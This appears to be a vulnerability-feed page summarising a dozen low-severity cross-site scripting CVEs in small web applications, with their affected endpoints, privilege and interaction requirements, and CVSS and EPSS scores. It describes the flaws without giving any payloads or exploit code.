Stored cross-site scripting (XSS) in code-projects Client Details System 1.0 allows authenticated high-privilege users to inject malicious scripts into the /admin/clientview.php endpoint that execute in the context of other users' browsers. The vulnerability requires user interaction (victim must view affected content) and high administrative privileges to exploit, limiting real-world risk despite public exploit disclosure. EPSS score of 0.03% reflects the stringent authentication and interaction requirements that prevent widespread automated exploitation.

PHP XSS Client Details System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Cross-site scripting (XSS) in code-projects Client Details System 1.0 allows high-privileged authenticated users to inject malicious scripts via the /update-clients.php endpoint, requiring user interaction to execute. The vulnerability carries a low CVSS score of 1.9 due to high privilege requirements (PR:H) and mandatory user interaction (UI:P), but publicly available exploit code exists, making it actionable for insider threats or social engineering scenarios targeting administrators.

PHP XSS Client Details System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Cross-site scripting (XSS) in code-projects Client Details System 1.0 allows remote attackers with high privileges and user interaction to inject malicious scripts via the /welcome.php file, resulting in limited integrity impact. The vulnerability has been publicly disclosed with exploit code available, though real-world exploitation is constrained by the requirement for high administrative privileges and user interaction, reflected in the exceptionally low CVSS score of 1.9 and EPSS probability of 0.03%.

PHP XSS Client Details System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

Stored cross-site scripting (XSS) in LearnHouse Account Setting Page allows authenticated users to inject malicious scripts via the /dash/org/settings/previews endpoint, affecting all versions up to commit 98dfad76aad70711a8113f6c1fdabfccf10509ca. An attacker with valid credentials can craft a malicious request that, when viewed by another user (requiring user interaction), executes arbitrary JavaScript in their browser context with potential for data theft or session hijacking. Public exploit code exists, though exploitation requires both login credentials and victim interaction, limiting real-world impact despite the network-accessible vector.

XSS Learnhouse
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW Monitor

Cross-site scripting (XSS) vulnerability in abhicodebox ModernShop 20250922 allows remote attackers to inject malicious scripts via the 'q' parameter in the /search endpoint, requiring user interaction to execute. The vulnerability has a published exploit and low CVSS score (2.1) due to user interaction requirement, but affects the integrity of victim sessions with EPSS exploitation probability of 0.03% indicating minimal real-world exploitation likelihood.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW Monitor

Stored cross-site scripting (XSS) in OpenWGA 7.11.12 Build 737 Admin UI allows authenticated users with low privileges to inject malicious scripts that execute in the browsers of other users who view the affected interface. Exploitation requires user interaction (clicking a crafted link or visiting a manipulated page), limiting real-world impact despite remote accessibility. Public exploit disclosure exists, but EPSS scoring (0.03%, 7th percentile) and low CVSS severity (2.0) indicate minimal active exploitation likelihood in real deployments.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Cross-site scripting (XSS) in Chatwoot up to version 4.7.0 allows remote attackers to inject malicious scripts via the Link argument in the IframeLoader.vue Admin Interface component, requiring user interaction to trigger. The vulnerability has a low CVSS score (2.1) and EPSS percentile (10%) but publicly available exploit code exists, indicating the attack is straightforward to execute once a victim clicks a crafted link.

XSS Chatwoot
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Reflected cross-site scripting (XSS) in Simple E-Banking System 1.0 allows remote attackers to inject malicious scripts via the Username parameter in /eBank/register.php. The vulnerability requires user interaction (clicking a malicious link) but has low impact on confidentiality and integrity. Publicly available exploit code exists, though EPSS scoring (0.03%, 10th percentile) suggests limited real-world exploitation despite XSS being a common attack vector.

PHP XSS Simple E Banking System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting in projectworlds Expense Management System 1.0 allows high-privileged authenticated users to inject malicious scripts via the Expense Categories creation page, affecting other users who view the poisoned content. The vulnerability requires administrator-level access and user interaction (rendering the page), limiting real-world impact despite remote network delivery. Publicly available exploit code exists; EPSS exploitation probability is very low at 0.03%, suggesting this is primarily a proof-of-concept risk rather than an actively exploited threat.

XSS Expense Management System Projectworlds
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows authenticated users with high privileges to inject malicious scripts via the Currency Page create function (/public/admin/currencies/create), which are then reflected to other users who interact with that page. The vulnerability requires user interaction and high-level administrative privileges to exploit, resulting in limited real-world risk despite public exploit availability and low EPSS score.

XSS Expense Management System Projectworlds
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows authenticated high-privilege users to inject malicious scripts via the Roles Page create endpoint (/public/admin/roles/create), which are then reflected to other users. The vulnerability requires high-privilege authentication and user interaction to trigger, limiting real-world exploitation despite public POC availability and network accessibility.

XSS Expense Management System Projectworlds
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows high-privileged authenticated users to inject malicious scripts via the /public/admin/users/create endpoint, which are executed in the browsers of other users viewing the affected page. The vulnerability requires administrator privileges and user interaction (clicking a link), significantly limiting exploitation scope despite remote accessibility and publicly available proof-of-concept code.

XSS Expense Management System Projectworlds
NVD GitHub VulDB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40664

Related CWEs

MITRE ATT&CK

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